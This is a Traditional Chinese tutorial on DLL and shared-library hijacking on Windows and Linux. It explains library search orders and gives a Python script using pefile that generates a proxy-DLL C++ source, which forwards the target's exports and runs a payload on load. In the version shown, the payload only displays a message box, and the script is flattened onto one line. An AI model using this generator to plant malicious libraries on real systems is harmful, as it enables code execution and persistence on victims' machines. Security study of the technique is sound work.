在Windows和Linux系統上的DLL劫持
一、概念
DLL(Dynamic-link library)是Windows作業系統上實現的共享庫,又稱動態連結庫。DLL 的檔案格式與 EXE 檔案的檔案格式相同,即還是32位和64位Windows的可移植可執行檔案(PE檔案)。
SO 是Linux作業系統上實現的共享庫,又稱動態連結庫。SO 的檔案格式是32位和64位Linux的可移植可執行檔案(ELF檔案)。
動態連結庫的作用,為程式提供匯入函式以實現共享開發者程式碼,其在程序需要呼叫某個匯入函式時進行動態連結將整個庫檔案載入進記憶體中。
那什麼是dll劫持?
黑客通過將原本要載入的目標動態連結庫用自己惡意編寫的dll檔案去替換,就可以讓目標程序載入黑客的動態連結庫,從而執行動態連結庫中的惡意程式碼,達到攻擊的目的。
二、劫持動態連結庫的要求
黑客編寫的惡意dll或so檔案需要滿足以下要求:
- 確保檔案中的程式碼可以正常執行,不會對目標程序造成異常錯誤
- 必須具有對於目標程序呼叫的函式,並且函式宣告和呼叫約定相同(但是具體函式內部程式碼可以不同,只要返回值可以讓目標程序正常接受就可)
PS:可以在庫中新增額外的函式。
三、Windows和Linux中的dll劫持區別
Windows中的dll劫持
當然我們也可以在不刪除目標dll檔案或方便操作的目的,根據程序尋找dll所在目錄的順序來放置我們的惡意dll檔案,只要我們的惡意dll檔案在目標dll檔案之前被程序找到,也可以達到劫持目的。
Windows中,程序尋找dll檔案所在目錄順序:
- 程序對應的應用程式所在目錄
- 系統目錄(一般為 System32 目錄,如果是在 64 位系統下的32位程式,則為 SysWOW64 目錄)
- 16位系統目錄
- Windows目錄
- PATH環境變數中的各個目錄
PS:在登錄檔HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs不能在系統目錄以外被載入。
Linux中的dll劫持
同理。
Linux中,程序尋找so檔案所在目錄順序:
- 編譯目的碼時指定的動態庫搜尋路徑(編譯時-L、-rpath和-rpath-link指定的路徑)
- 環境變數LD_LIBRARY_PATH指定的動態庫搜尋路徑
- 配置檔案/etc/ld.so.conf中指定的動態庫搜尋路徑
- 預設的動態庫搜尋路徑/lib
- 預設的動態庫搜尋路徑/usr/lib
四、劫持實現
劫持的目的就是執行我們自己的dll或so檔案。
將劫持dll檔案放到原dll檔案所在目錄,而原dll則移到一個不會干擾的目錄即可。
關於劫持dll的生成,我們可以自己手動編寫,也可以通過使用工具輔助生成。
工具輔助思路:根據獲取的所有匯入函式生成一個.c或.cpp檔案,生成的轉發函式如下:
extern "C" __declspec(naked) void __cdecl 目標函式名(void) { __asm POP dwReturnAddress; GetAddress("目標函式名")(); __asm JMP dwReturnAddress; }
再通過對編譯器設定函式轉發,實現函式轉發,如:
#pragma comment(linker, "/EXPORT:main=_DLLHijacker_main,@5")
貼上我自己參考https://github.com/zhaoed/DLL_Hijacker-1/修改後的指令碼:
import os,sys,time import pefile def main(): pe = pefile.PE(sys.argv[1]) exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols print("[!]Find export function :[ %d ]\r\n" % len(exportTable)) for exptab in exportTable: print("%3s %10s" % (exptab.ordinal, exptab.name)) print("\r\n[+] generating DLL Hijack cpp file ...") generate(exportTable) print("\r\n[+] generating DLL Hijack cpp file has finished!") def generate(exportTable): segments = r"//Generate by DLLHijacker.py\ \ #include <Windows.h>\ \ DEFINE_DLL_EXPORT_FUNC\ #define EXTERNC extern \"C\"\ #define NAKED __declspec(naked)\ #define EXPORT __declspec(dllexport)\ #define ALCPP EXPORT NAKED\ #define ALSTD EXTERNC EXPORT NAKED void __stdcall\ #define ALCDECL EXTERNC NAKED void __cdecl\ \ namespace DLLHijacker\ {\ HMODULE m_hModule = NULL;\ DWORD dwReturnAddress;\ inline BOOL WINAPI Load()\ {\ TCHAR tzPath[MAX_PATH];\ lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\ m_hModule = LoadLibrary(tzPath);\ if (m_hModule == NULL)\ return FALSE;\ return (m_hModule != NULL);\ }\ inline VOID WINAPI Free()\ {\ if (m_hModule)\ FreeLibrary(m_hModule);\ }\ FARPROC WINAPI GetAddress(PCSTR pszProcName)\ {\ FARPROC fpAddress;\ CHAR szProcName[16];\ fpAddress = GetProcAddress(m_hModule, pszProcName);\ if (fpAddress == NULL)\ {\ if (HIWORD(pszProcName) == 0)\ {\ wsprintf(szProcName, \"%d\", pszProcName);\ pszProcName = szProcName;\ }\ ExitProcess(-2);\ }\ return fpAddress;\ }\ }\ using namespace DLLHijacker;\ VOID Hijack()\ {\ MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\ }\ BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\ {\ if (dwReason == DLL_PROCESS_ATTACH)\ {\ DisableThreadLibraryCalls(hModule);\ if(Load())\ Hijack();\ }\ else if (dwReason == DLL_PROCESS_DETACH)\ {\ Free();\ }\ return TRUE;\ }\ " filename = sys.argv[1] fp = open(filename + ".cpp", "w+") define_dll_exp_func = "" for exptable in exportTable: define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name, encoding = "utf-8") +\ "=_DLLHijacker_" + str(exptable.name, encoding = "utf-8") + ",@"+ str(exptable.ordinal) +"\")\n" segments = segments.replace('DLL_FILENAME', filename) segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','') fp.writelines(segments) forward_dll_exp_func = "" for exptable in exportTable: forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name, encoding = "utf-8") +"(void)\n{" + \ "\n __asm POP dwReturnAddress;\n GetAddress(\""+ \ str(exptable.name, encoding = "utf-8") + "\")();\n __asm JMP dwReturnAddress;\n}\r\n" fp.writelines(forward_dll_exp_func) fp.close() def usage(): print("Usage:") print(" %s 目標.dll" % sys.argv[0]) if __name__ == "__main__": if(len(sys.argv) <2): usage() else: main()